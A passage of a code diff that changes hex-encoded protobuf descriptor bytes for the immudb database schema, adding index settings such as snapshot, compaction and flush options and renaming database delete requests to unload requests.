0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, - 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, + 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, - 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, + 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, + 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, + 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, + 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, + 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, + 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, + 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, + 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, - 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, - 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, + 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, + 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, + 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, + 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, + 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, + 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, + 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, + 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, + 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, + 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, + 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, + 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, + 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, - 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, - 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, - 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, - 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, - 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, - 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, - 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, - 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, - 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, - 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, - 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, - 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, - 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, - 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, - 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, - 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, - 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 